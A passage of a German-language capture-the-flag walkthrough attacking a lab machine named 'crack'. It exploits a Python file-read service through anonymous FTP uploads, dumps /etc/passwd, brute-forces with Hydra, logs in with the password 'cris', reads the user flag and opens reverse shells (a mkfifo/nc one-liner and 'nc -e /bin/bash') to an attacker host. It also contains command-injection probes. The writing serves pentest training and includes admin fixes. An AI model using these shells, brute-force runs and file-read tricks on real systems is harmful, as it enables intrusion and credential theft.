┌──(root㉿cyber)-[~] └─# telnet 192.168.2.116 12359
Trying 192.168.2.116...
Connected to 192.168.2.116.
Escape character is '^]'.
File to read:/etc/passwd 
NFile to read:;ls 
NFile to read:import os;os.system('cat /etc/passwd') 
NFile to read:;import os;os.system('cat /etc/passwd') 
NFile to read:. 
NFile to read:crack.py 
['import os\n', 'import socket\n', 's = socket.socket()\n', 's.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n', 'port = 12359\n', "s.bind(('', port))\n", 's.listen(50)\n', '\n', 'c, addr = s.accept()\n', 'no = "N"\n', 'while True:\n', '        try:\n', "                c.send('File to read:'.encode())\n", '                data = c.recv(1024)\n', "                file = (str(data, 'utf-8').strip())\n", '                filename = os.path.basename(file)\n', '                check = "/srv/ftp/upload/"+filename\n', '                if os.path.isfile(check) and os.path.isfile(file):\n', '                        f = open(file,"r")\n', '                        lines = f.readlines()\n', '                        lines = str(lines)\n', '                        lines = lines.encode()\n', '                        c.send(lines)\n', '                else:\n', '                        c.send(no.encode())\n', '        except ConnectionResetError:\n', '                pass\n']File to read: 

**Analyse:** Erneute Telnet-Verbindung zu Port 12359. Diesmal wird die Funktionsweise des Skripts berücksichtigt: 1. Der Server sendet "File to read:". 2. Eingabe `/etc/passwd`: Server antwortet mit "N" (gefolgt von "File to read:"). Grund: `/srv/ftp/upload/passwd` existiert (noch) nicht. 3. Eingaben zur Command Injection (`;ls`, Python-Code): Server antwortet mit "N". Das Skript führt keine Befehle aus. 4. Eingabe `.`: Server antwortet mit "N". 5. Eingabe `crack.py`: Server antwortet mit dem Inhalt der Datei `crack.py`. Grund: Die Datei `/srv/ftp/upload/crack.py` existiert (wie vom FTP-Download bekannt), und der angeforderte Pfad `crack.py` (relativ zum Ausführungsverzeichnis des Skripts) existiert ebenfalls und zeigt auf dieselbe Datei. Beide Bedingungen `os.path.isfile(check)` und `os.path.isfile(file)` sind wahr. Dies bestätigt die LFI-Logik und die Abhängigkeit vom `/srv/ftp/upload`-Verzeichnis.

**Bewertung:** Mittel. Dieser Schritt hat die Funktionsweise der LFI-Schwachstelle im Detail bestätigt. Es wurde gezeigt, dass man Dateien lesen kann, wenn eine gleichnamige Datei im Upload-Verzeichnis existiert. Der Weg zum Lesen beliebiger Dateien (wie `/etc/passwd`) ist nun klar: Eine Datei namens `passwd` muss ins Upload-Verzeichnis hochgeladen werden.

**Empfehlung (Pentester):** Lade eine leere Datei namens `passwd` per FTP ins `/upload`-Verzeichnis hoch und wiederhole dann die Telnet-Anfrage mit dem Pfad `/etc/passwd`.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Behebung des `crack.py`-Skripts und zur Härtung des FTP-Servers.

Fehlgeschlagener Versuch, die LFI über einen POST-Request mit curl auszunutzen.

┌──(root㉿cyber)-[~] └─# curl -X POST --data "file=/etc/passwd" http://192.168.2.116:12359/
^C 

**Analyse:** Es wird versucht, die LFI-Schwachstelle über einen HTTP POST-Request mit `curl` auszunutzen. Der Parameter `file` wird mit dem Wert `/etc/passwd` gesendet. Der Versuch scheitert bzw. wird abgebrochen (`^C`), da der Dienst auf Port 12359 kein HTTP-Server ist und nicht auf HTTP-Anfragen reagiert.

**Bewertung:** Niedrig. Falsches Protokoll für den Zieldienst verwendet.

**Empfehlung (Pentester):** Halte dich an das Protokoll, das der Dienst spricht (einfaches TCP mit Telnet/Netcat).
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Weitere fehlgeschlagene Versuche, Command Injection über Telnet zu erreichen.


crack.py;os.system("ls -la");
crack.py&os.system("ls -la");

NFile to read:crack.py&os.system("ls -la");
NFile to read:os.system("ls -la");
NFile to read:os.path.basename('/etc/passwd')
NFile to read:os.path.basename(/etc/passwd)

**Analyse:** In einer (vermutlich) Telnet-Sitzung zu Port 12359 werden weitere Versuche unternommen, Code auszuführen: * Anhängen von Befehlen mit `;` und `&`. * Direkte Eingabe von Python-Code (`os.system(...)`, `os.path.basename(...)`). Alle Versuche scheitern und resultieren in der Antwort "N", da das Skript die Eingaben nur als Dateinamen behandelt und keine Codeausführung implementiert ist.

**Bewertung:** Niedrig. Bestätigt erneut, dass es sich (bisher) nur um eine LFI- und keine Command-Injection-Schwachstelle handelt.

**Empfehlung (Pentester):** Konzentriere dich auf die Ausnutzung der LFI. Command Injection ist hier nicht der Weg.
**Empfehlung (Admin):** Keine zusätzlichen Maßnahmen erforderlich.

Erneuter FTP-Login, um den Inhalt des Upload-Verzeichnisses zu prüfen.

ftp> ls -la 
229 Entering Extended Passive Mode (|||55623|)
150 Here comes the directory listing.
drwxrwxrwx    2 0        0            4096 Jun 20 16:08 .
drwxr-xr-x    3 0        114          4096 Jun 07 12:22 ..
-rwxr-xr-x    1 1000     1000          849 Jun 07 14:40 crack.py
-rw-------    1 107      114             5 Jun 20 16:08 test.txt 
226 Directory send K.
ftp>

**Analyse:** Innerhalb einer anonymen FTP-Sitzung wird der Inhalt des aktuellen Verzeichnisses (vermutlich `/upload`) aufgelistet. Neben der bekannten `crack.py` existiert nun auch eine Datei `test.txt` (5 Bytes groß).

**Bewertung:** Interessant. Die Existenz von `test.txt` könnte bedeuten, dass ein anderer Benutzer oder Prozess ebenfalls Schreibzugriff hat oder dass frühere Tests diese Datei hinterlassen haben. Wichtiger ist, dass dies zeigt, dass das Verzeichnis tatsächlich beschreibbar ist.

**Empfehlung (Pentester):** Dies bestärkt den Plan, eine eigene Datei (`passwd`) hochzuladen, um die LFI auszunutzen.
**Empfehlung (Admin):** Überwache das FTP-Upload-Verzeichnis auf unerwartete Dateien.

Vorbereitung eines Reverse-Shell-Payloads (scheint hier fehl am Platz, gehört eher zur Post-Exploitation oder Privilege Escalation).

┌──(root㉿cyber)-[~] └─# vi bash.sh
 
                
┌──(root㉿cyber)-[~] └─# chmod +x bash.sh
 
                
┌──(root㉿cyber)-[~] └─# cat bash.sh
#!/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5555 >/tmp/f

**Analyse:** Es wird eine Datei `bash.sh` erstellt, ausführbar gemacht (`chmod +x`) und ihr Inhalt angezeigt. Das Skript enthält einen Einzeiler für eine Bash-Reverse-Shell, der eine Named Pipe (`/tmp/f`) verwendet, um eine interaktive Shell (`/bin/sh -i`) über Netcat (`nc`) an den Angreifer-Host `192.168.2.137` auf Port `5555` zu senden.

**Bewertung:** Dies ist eine Standardtechnik zur Etablierung einer Reverse Shell. Sie ist hier jedoch verfrüht, da noch kein Weg zur Ausführung dieses Skripts auf dem Zielsystem gefunden wurde.

**Empfehlung (Pentester):** Behalte dieses Skript für später bereit, falls du Codeausführung auf dem Ziel erlangst. Der aktuelle Fokus sollte auf der Ausnutzung der LFI liegen.
**Empfehlung (Admin):** Überwachung auf ausgehende Verbindungen von Servern auf ungewöhnliche Ports (wie 5555). Härtung der Systemkonfiguration, um die Ausführung nicht autorisierter Skripte zu verhindern.

Weitere fehlgeschlagene LFI-Versuche mit Path Traversal.


NFile to read:/srv/ftp/upload/etc/passwd
NFile to read:/srv/ftp/upload/../../../../../etc/passwd
NFile to read:/srv/ftp/upload/../../../../etc/passwd
NFile to read:/srv/ftp/upload/../../../etc/passwd
NFile to read:/srv/ftp/upload/../../etc/passwd
NFile to read:/srv/ftp/upload/../etc/passwd

**Analyse:** Es werden verschiedene Pfade an den Dienst auf Port 12359 gesendet, um Path Traversal (`../`) zu testen. Alle Versuche scheitern ("N"). Das liegt daran, dass `os.path.basename()` im Python-Skript nur den Dateinamen extrahiert und somit die Traversal-Versuche unwirksam macht. Die erste Zeile scheitert, weil `/srv/ftp/upload/passwd` nicht existiert (nur der Dateiname `passwd` wird extrahiert und geprüft).

**Bewertung:** Niedrig. Bestätigt, dass einfaches Path Traversal durch `os.path.basename()` verhindert wird.

**Empfehlung (Pentester):** Gib Path Traversal auf und konzentriere dich auf die vorgesehene LFI-Methode: Gleichnamige Datei im Upload-Verzeichnis erstellen.
**Empfehlung (Admin):** Die Verwendung von `os.path.basename()` ist ein Teilschutz, aber nicht ausreichend, wie die LFI-Schwachstelle zeigt.

Erstellen einer leeren Datei namens `passwd` auf dem Angreifer-System.

┌──(root㉿cyber)-[~] └─# touch passwd
 
                

**Analyse:** Der Befehl `touch passwd` erstellt eine leere Datei mit dem Namen `passwd` im aktuellen Verzeichnis des Angreifer-Systems.

**Bewertung:** Notwendiger Vorbereitungsschritt zur Ausnutzung der LFI.

**Empfehlung (Pentester):** Lade diese Datei nun per FTP hoch.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Hochladen der leeren `passwd`-Datei in das `/upload`-Verzeichnis via FTP.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.116
Connected to 192.168.2.116.
220 (vsFTPd 3.0.3)
Name (192.168.2.116:cyber): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls -la 
229 Entering Extended Passive Mode (|||60254|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        114          4096 Jun 07 12:22 .
drwxr-xr-x    3 0        114          4096 Jun 07 12:22 ..
drwxrwxrwx    2 0        0            4096 Jun 20 16:11 upload
226 Directory send K.

ftp> cd upload 
250 Directory successfully changed.

ftp> put passwd 
local: passwd remote: passwd
229 Entering Extended Passive Mode (|||20769|)
150 Ok to send data.
     0        0.00 KiB/s 
226 Transfer complete. 
ftp>

**Analyse:** Erneuter anonymer FTP-Login. Diesmal wird erfolgreich in das `upload`-Verzeichnis gewechselt (`cd upload`). Anschließend wird die zuvor lokal erstellte, leere Datei `passwd` mit dem Befehl `put passwd` erfolgreich auf den FTP-Server in das `upload`-Verzeichnis hochgeladen ("226 Transfer complete.").

**Bewertung:** Erfolgreiche Durchführung des entscheidenden Schritts zur Vorbereitung der LFI-Ausnutzung. Die Bedingung `os.path.isfile("/srv/ftp/upload/passwd")` im Python-Skript ist nun erfüllt.

**Empfehlung (Pentester):** Verbinde dich jetzt erneut mit `telnet` oder `nc` zu Port 12359 und fordere `/etc/passwd` an.
**Empfehlung (Admin):** **Dringend:** Entferne anonyme Schreibrechte im FTP-Upload-Verzeichnis.

Proof of Concept (LFI)

Dieser Abschnitt demonstriert die erfolgreiche Ausnutzung der identifizierten Local File Inclusion (LFI) Schwachstelle im Dienst auf Port 12359.

**Schwachstelle:** Das Python-Skript (`crack.py`) auf Port 12359 liest eine vom Benutzer angegebene Datei (`file`), wenn eine Datei mit demselben Basisnamen (`filename`) im Verzeichnis `/srv/ftp/upload/` existiert.

**Voraussetzungen:**

**Schritt-für-Schritt Anleitung:**

  1. Erstelle eine leere Datei mit dem Namen `passwd` auf dem Angreifer-System: `touch passwd`.
  2. Lade diese Datei per anonymem FTP in das `/upload`-Verzeichnis auf dem Zielserver hoch (siehe vorherigen FTP-Log).
  3. Stelle eine Verbindung zum Zieldienst auf Port 12359 her.
  4. Sende den Pfad der auszulesenden Datei (`/etc/passwd`), nachdem der Server "File to read:" gesendet hat.

Durchführung des LFI-Angriffs via Telnet nach dem Hochladen der Trigger-Datei.


File to read:/etc/passwd 

['root:x:0:0:root:/root:/bin/bash\n', 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n', 'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n', 'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n', 'sync:x:4:65534:sync:/bin:/bin/sync\n', 'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n', 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n', 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n', 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n', 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n', 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n', 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n', 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n', 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n', 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n', 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n', 'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n', 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n', '_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n', 'systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\n', 'systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\n', 'messagebus:x:103:109::/nonexistent:/usr/sbin/nologin\n', 'systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\n', 'sshd:x:105:65534::/run/sshd:/usr/sbin/nologin\n', 'cris:x:1000:1000:cris,,,:/home/cris:/bin/bash\n', 'systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\n', 'shellinabox:x:106:112:Shell In A Box,,,:/var/lib/shellinabox:/usr/sbin/nologin\n', 'ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin\n']File to read:

**Ergebnis:** Nach dem Hochladen der leeren `passwd`-Datei via FTP und dem Senden des Pfads `/etc/passwd` an den Dienst auf Port 12359, gibt dieser erfolgreich den Inhalt der Datei `/etc/passwd` zurück. Die LFI-Schwachstelle wurde erfolgreich ausgenutzt.

**Risikobewertung:** Hoch. Diese Schwachstelle erlaubt es einem Angreifer, beliebige Dateien auf dem System zu lesen, für die der ausführende Prozess des Python-Skripts Leserechte besitzt. Dies umfasst typischerweise Konfigurationsdateien, Quellcode, potenziell private Schlüssel und Benutzerdaten. In diesem Fall wurden Benutzernamen und deren Shells (`root`, `cris` mit `/bin/bash`) aufgedeckt.

**Empfehlungen (Admin):** 1. **Sofortmaßnahme:** Stoppe den Dienst auf Port 12359 und entferne anonyme Schreibrechte auf dem FTP-Server. 2. **Code-Fix:** Überarbeite das Python-Skript `crack.py` grundlegend, um die LFI-Schwachstelle zu schließen (keine direkte Verwendung von Benutzereingaben in Dateipfaden, Whitelisting, Eingabevalidierung). 3. **Prinzip der geringsten Rechte:** Stelle sicher, dass Dienste nur mit den minimal erforderlichen Berechtigungen laufen. 4. **Überprüfung:** Untersuche, ob durch diese Schwachstelle bereits sensible Daten kompromittiert wurden.

Extrahieren von Benutzern mit Bash-Zugang aus der zuvor erlangten `/etc/passwd`-Datei.

vi > shit.txt 
┌──(root㉿cyber)-[~] └─# cat shit.txt | tr " " "\n" | grep bash
['root:x:0:0:root:/root:/bin/bash\n',
'cris:x:1000:1000:cris,,,:/home/cris:/bin/bash\n',

**Analyse:** Der Inhalt der (vermutlich zuvor gespeicherten) `/etc/passwd`-Datei (`shit.txt`) wird mittels `cat` ausgegeben. Die Pipe `| tr " " "\n"` ersetzt Leerzeichen durch Newlines (was hier wenig Effekt hat, da die relevanten Teile nicht durch Leerzeichen getrennt sind, aber es schadet auch nicht). Die Ausgabe wird dann an `grep bash` weitergeleitet, welches nur die Zeilen filtert, die "bash" enthalten. Das Ergebnis identifiziert zwei Benutzer mit einer Bash-Shell: `root` und `cris`.

**Bewertung:** Erfolgreiche Extraktion potenzieller Benutzernamen für weitere Angriffsversuche (z.B. Brute-Force) aus den durch die LFI gewonnenen Daten.

**Empfehlung (Pentester):** Versuche, Zugangsdaten für den Benutzer `cris` zu finden oder zu erraten. Der Benutzer `root` ist meist schwerer direkt anzugreifen. Die ShellInABox-Schnittstelle (Port 4200) ist ein guter Kandidat für einen Login-Versuch.
**Empfehlung (Admin):** Überwache fehlgeschlagene Login-Versuche. Verwende starke, einzigartige Passwörter für alle Benutzer.

Versuch eines Brute-Force-Angriffs auf den FTP-Account des Benutzers `cris` mittels Hydra.

┌──(root㉿cyber)-[~] └─# hydra -l cris -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.116:21 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these groups ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-20 16:34:21
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344402 login tries (l:1/p:14344402), ~224132 tries per task
[DATA] attacking ftp://192.168.2.116:21/
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-20 16:34:55

**Analyse:** Hydra wird verwendet, um einen Passwort-Brute-Force-Angriff gegen den FTP-Dienst (`ftp://192.168.2.116:21`) durchzuführen. Es wird versucht, sich als Benutzer `cris` (`-l cris`) anzumelden, wobei Passwörter aus der bekannten Wortliste `rockyou.txt` (`-P /usr/share/wordlists/rockyou.txt`) verwendet werden. Der Angriff wird mit 64 parallelen Tasks (`-t 64`) durchgeführt. Hydra testet über 14 Millionen Passwörter, findet jedoch kein gültiges Passwort ("0 valid passwords found").

**Bewertung:** Niedrig. Der FTP-Brute-Force-Versuch war erfolglos. Das Passwort für `cris` befindet sich nicht in der `rockyou.txt`-Liste oder der FTP-Login für diesen Benutzer ist nicht erlaubt.

**Empfehlung (Pentester):** Probiere andere Angriffsvektoren für den Benutzer `cris`. Die ShellInABox-Schnittstelle auf Port 4200 ist der nächste logische Kandidat. Teste dort einfache oder häufig verwendete Passwörter.
**Empfehlung (Admin):** Implementiere Intrusion-Detection/Prevention-Systeme (IDS/IPS), um Brute-Force-Angriffe zu erkennen und zu blockieren (z.B. fail2ban). Stelle sicher, dass FTP-Logins nur für benötigte Benutzer erlaubt sind und starke Passwörter verwendet werden.

Manueller Login-Versuch über die ShellInABox-Weboberfläche auf Port 4200.

https://192.168.2.116:4200
crack login:

crack login: cris
Password: 

Login incorrect
crack login: cris
Password: 

Login incorrect
crack login: cris
Password: 


Linux crack 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun  7 14:39:38 CEST 2023 from 192.168.0.100 on pts/0


username: cris
password: cris

cris@crack:~$ 

**Analyse:** Es wird eine Verbindung zur ShellInABox-Oberfläche unter `https://192.168.2.116:4200` hergestellt. Nach zwei fehlgeschlagenen Login-Versuchen für den Benutzer `cris` ist der dritte Versuch mit dem Passwort `cris` erfolgreich. Der Angreifer erhält eine Shell als Benutzer `cris` auf dem Zielsystem.

**Bewertung:** Kritisch. Ein schwaches, leicht zu erratendes Passwort (Benutzername = Passwort) ermöglichte den initialen Zugriff auf das System als Benutzer `cris`. Dies ist ein häufiger Konfigurationsfehler.

**Empfehlung (Pentester):** Du hast nun initialen Zugriff! Beginne sofort mit der Enumeration des Systems aus der Sicht des Benutzers `cris`. Suche nach Möglichkeiten zur Privilegienerweiterung (Privilege Escalation). Der erste Schritt ist oft, die `sudo`-Rechte zu prüfen (`sudo -l`) und nach SUID/GUID-Binaries zu suchen (`find / -type f -perm -4000 -ls 2>/dev/null`).
**Empfehlung (Admin):** **Dringend:** Ändere das Passwort für den Benutzer `cris` sofort in ein starkes, einzigartiges Passwort. Erzwinge Passwortrichtlinien (Mindestlänge, Komplexität, Ablaufdatum). Überprüfe alle Systembenutzer auf schwache Passwörter. Überwache Login-Aktivitäten auf verdächtiges Verhalten.

Auslesen der User-Flag aus der Datei `user.txt` im Home-Verzeichnis.

cris@crack:~$ cat user.txt
eG4TUsTBxSFjTPHMV
cris@crack:~$ cat user.txt | base64 -d
xnR!cL1base64: entrada inválida 

**Analyse:** Nach dem erfolgreichen Login als `cris` wird der Inhalt der Datei `user.txt` im Home-Verzeichnis mit `cat user.txt` ausgelesen. Die Datei enthält die Zeichenkette `eG4TUsTBxSFjTPHMV`, was die User-Flag darstellt. Ein anschließender Versuch, die Flag als Base64 zu dekodieren (`base64 -d`), scheitert, was zeigt, dass die Flag nicht Base64-kodiert ist.

**Bewertung:** Erfolgreiches Erreichen des ersten Ziels (User-Flag). Bestätigt den Zugriff auf das Home-Verzeichnis des Benutzers.

**Empfehlung (Pentester):** Notiere die User-Flag. Setze die Enumeration zur Privilegienerweiterung fort.
**Empfehlung (Admin):** Keine direkten Maßnahmen bezüglich der Flag selbst. Die Tatsache, dass sie gelesen werden konnte, unterstreicht die Notwendigkeit, den initialen Zugriff zu verhindern (siehe vorherige Empfehlung).

Privilege Escalation

Suche nach Dateien mit gesetztem SUID-Bit, um potenzielle Privesc-Vektoren zu finden.

cris@crack:~$ find / -type f -perm -4000 -ls 2>/dev/null
   138823    472 -rwsr-xr-x   1 root     root       481608 jul  2  2022 /usr/lib/openssh/ssh-keysign
   271304     52 -rwsr-xr--   1 root     messagebus    51336 oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   263174     44 -rwsr-xr-x   1 root     root          44632 feb  7  2020 /usr/bin/newgrp
   276285    180 -rwsr-xr-x   1 root     root         182600 ene 14 14:29 /usr/bin/sudo 
   259679     88 -rwsr-xr-x   1 root     root          88304 feb  7  2020 /usr/bin/gpasswd
   263700     56 -rwsr-xr-x   1 root     root          55528 ene 20  2022 /usr/bin/mount
   259680     64 -rwsr-xr-x   1 root     root          63960 feb  7  2020 /usr/bin/passwd
   259676     60 -rwsr-xr-x   1 root     root          58416 feb  7  2020 /usr/bin/chfn
   263333     72 -rwsr-xr-x   1 root     root          71912 ene 20  2022 /usr/bin/su
   263702     36 -rwsr-xr-x   1 root     root          35040 ene 20  2022 /usr/bin/umount
   259677     52 -rwsr-xr-x   1 root     root          52880 feb  7  2020 /usr/bin/chsh

**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), bei denen das SUID-Bit gesetzt ist (`-perm -4000`). Das SUID-Bit erlaubt es einem Benutzer, die Datei mit den Rechten des Dateieigentümers (hier meist `root`) auszuführen. Die Option `-ls` zeigt detaillierte Informationen an, und `2>/dev/null` unterdrückt Fehlermeldungen (z.B. bei fehlenden Leserechten). Die Ausgabe listet mehrere Standard-SUID-Binaries auf (`sudo`, `mount`, `passwd`, `su`, etc.). Es sind keine ungewöhnlichen oder benutzerdefinierten SUID-Dateien sichtbar, die auf eine einfache Ausnutzung hindeuten.

**Bewertung:** Niedrig bis Mittel. Es wurden keine offensichtlich ausnutzbaren, nicht standardmäßigen SUID-Binaries gefunden. Die Anwesenheit von `sudo` ist jedoch immer ein potenzieller Vektor, der weiter untersucht werden muss (`sudo -l`).

**Empfehlung (Pentester):** Prüfe als Nächstes die `sudo`-Berechtigungen mit `sudo -l`. Untersuche auch die Standard-SUID-Binaries auf bekannte Schwachstellen (GTFOBins), obwohl dies bei aktuellen Systemversionen weniger wahrscheinlich ist.
**Empfehlung (Admin):** Überprüfe regelmäßig die SUID/GUID-Berechtigungen im System. Entferne das SUID-Bit von Binaries, wo es nicht zwingend benötigt wird. Halte das System und alle Pakete auf dem neuesten Stand, um bekannte Schwachstellen in SUID-Binaries zu vermeiden.

Überprüfung interessanter Verzeichnisse und Dateiberechtigungen.

cris@crack:~$ ls -la /var/backups/
total 16
drwxr-xr-x  2 root root 4096 jun 20 15:00 .
drwxr-xr-x 11 root root 4096 jun  7 12:11 ..
-rw-r--r--  1 root root 6902 jun  7 12:20 apt.extended_states.0
cris@crack:~$ ls -la /opt/
total 8
drwxr-xr-x  2 root root 4096 jun  7 12:11 .
drwxr-xr-x 18 root root 4096 jun  7 12:13 ..
cris@crack:~$ getcap -r / 2>/dev/null
cris@crack:~$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1522 jun  7 12:20 /etc/passwd
cris@crack:~$ uname -a
Linux crack 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux

**Analyse:** Es werden verschiedene Befehle zur weiteren Systemenumeration ausgeführt: * `ls -la /var/backups/`: Zeigt eine Backup-Datei von `apt`. Keine offensichtlich nützlichen Backups gefunden. * `ls -la /opt/`: Das Verzeichnis `/opt` ist leer. * `getcap -r / 2>/dev/null`: Sucht nach Dateien mit speziellen Linux Capabilities, die zur Privilegienerweiterung missbraucht werden könnten. Keine gefunden. * `ls -la /etc/passwd`: Zeigt die Berechtigungen der Passwortdatei. Sie ist nur für Root beschreibbar, was normal ist. * `uname -a`: Gibt die Kernel-Version aus (Linux 5.10.0-23-amd64). Dies ist nützlich, um nach bekannten Kernel-Exploits zu suchen, obwohl diese oft schwerer auszunutzen sind.

**Bewertung:** Niedrig. Diese Enumerationsschritte haben keine direkten Privesc-Vektoren aufgedeckt. Die Kernel-Version ist relativ aktuell (Mai 2023), was die Wahrscheinlichkeit eines einfachen Kernel-Exploits verringert.

**Empfehlung (Pentester):** Fokussiere dich weiterhin auf Konfigurationsfehler. Der nächste logische Schritt ist die Überprüfung der `sudo`-Rechte.
**Empfehlung (Admin):** Halte das System und den Kernel aktuell. Überprüfe regelmäßig Dateiberechtigungen und Konfigurationen.

Einrichten einer Reverse Shell vom Zielsystem zum Angreifer-System für eine stabilere Shell.

┌──(root㉿cyber)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
cris@crack:~$ nc -e /bin/bash 192.168.2.137 5555
┌──(root㉿cyber)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.116] 52974 

which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
cris@crack:~$  ^[[200~export TERM=xterm^[[201~ 
export TERM=xtexport TERM=xterm
cris@crack:~$ ^[[200~export TERM=xterm^[[201~
export TERM=xtexport TERM=xterm
cris@crack:~$ ^[[200~export TERM=xterm^[[201~
export TERM=xtexport TERM=xterm
cris@crack:~$ export TERM=xterm 
export TERM=xterm
cris@crack:~$ ^Z 
zsh: suspended  nc -lvnp 5555
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 5555
                               reset 
cris@crack:~$ 

**Analyse:** Es wird eine Reverse Shell aufgebaut: 1. Auf dem Angreifer-System (`root@cyber`) wird ein Netcat-Listener auf Port 5555 gestartet (`nc -lvnp 5555`). 2. Auf dem Zielsystem (`cris@crack`) wird Netcat verwendet, um eine Verbindung zum Angreifer auf Port 5555 herzustellen und bei Erfolg eine Bash-Shell (`/bin/bash`) zu starten und über die Verbindung zu leiten (`-e /bin/bash`). Hinweis: Die Option `-e` ist bei vielen modernen `nc`-Versionen aus Sicherheitsgründen entfernt worden; hier scheint sie verfügbar zu sein. 3. Die Verbindung wird erfolgreich hergestellt. 4. **Shell-Stabilisierung:** * Mit `which python3` wird geprüft, ob Python 3 vorhanden ist. * Mit `python3 -c 'import pty;pty.spawn("/bin/bash")'` wird eine interaktivere PTY-Shell erzeugt. * Mit `export TERM=xterm` wird der Terminaltyp gesetzt, um Kompatibilität mit Tools wie `clear` oder Texteditoren zu verbessern. (Die vielen fehlerhaften Eingaben mit Steuerzeichen sind typisch für Copy&Paste in einfache Shells). * Auf dem Angreifer-System wird die Shell mit Strg+Z (`^Z`) in den Hintergrund gelegt. * Mit `stty raw -echo` werden die lokalen Terminaleinstellungen angepasst, um Steuerzeichen korrekt weiterzuleiten. * Mit `fg` wird der Netcat-Prozess wieder in den Vordergrund geholt. * `reset` kann optional verwendet werden, um die Terminalanzeige zu bereinigen. Das Ergebnis ist eine voll funktionsfähige, interaktive Shell auf dem Zielsystem.

**Bewertung:** Erfolgreiche Etablierung einer stabilen Reverse Shell. Dies verbessert die Arbeitsumgebung für die weitere Enumeration und Ausnutzung erheblich im Vergleich zur ShellInABox-Weboberfläche.

**Empfehlung (Pentester):** Nutze diese stabile Shell für die weiteren Schritte der Privilegienerweiterung.
**Empfehlung (Admin):** Überwache ausgehende Netzwerkverbindungen. Implementiere Egress-Filterung, um Verbindungen zu ungewöhnlichen Ports zu blockieren. Entferne oder ersetze Netcat-Versionen mit der gefährlichen `-e`-Option, falls möglich. Härte das System, um die Ausführung unerwünschter Befehle zu verhindern.

Weitere Enumeration im Home-Verzeichnis von `cris` und Untersuchung laufender Prozesse.

cris@crack:~$ ls -la
total 44
drwxr-xr-x 3 cris cris 4096 jun  7 14:40 .
drwxr-xr-x 3 root root 4096 jun  7 12:16 ..
lrwxrwxrwx 1 cris cris    9 jun  7 12:19 .bash_history -> /dev/null 
-rw-r--r-- 1 cris cris  220 jun  7 12:16 .bash_logout
-rw-r--r-- 1 cris cris 3526 jun  7 12:16 .bashrc
-rwxr-xr-x 1 cris cris  849 jun  7 14:39 crack.py 
drwxr-xr-x 3 cris cris 4096 jun  7 12:19 .local
-rw-r--r-- 1 cris cris  807 jun  7 12:16 .profile
-rw-r--r-- 1 cris cris   66 jun  7 12:23 .selected_editor
-rw------- 1 cris cris   19 jun  7 12:19 user.txt
-rw------- 1 cris cris   51 jun  7 14:39 .Xauthority
-rwxr-xr-x 1 cris cris  170 jun  7 14:40 ziempre.py 
cris@crack:~$ cat ziempre.py
#!/usr/local/lib/python3.7 
from subprocess import Popen
import sys
program = "/home/cris/crack.py"
while True:
    p = Popen("python3 "+program, shell=True)
    p.wait()
cris@crack:~$ ss -altpn
State    Recv-Q   Send-Q     Local Address:Port      Peer Address:Port   Process
LISTEN   0        50             0.0.0.0:12359          0.0.0.0:*       users:(("python3",pid=1000,fd=3)) 
LISTEN   0        128            0.0.0.0:4200           0.0.0.0:*       
LISTEN   0        128          127.0.0.1:22             0.0.0.0:*       

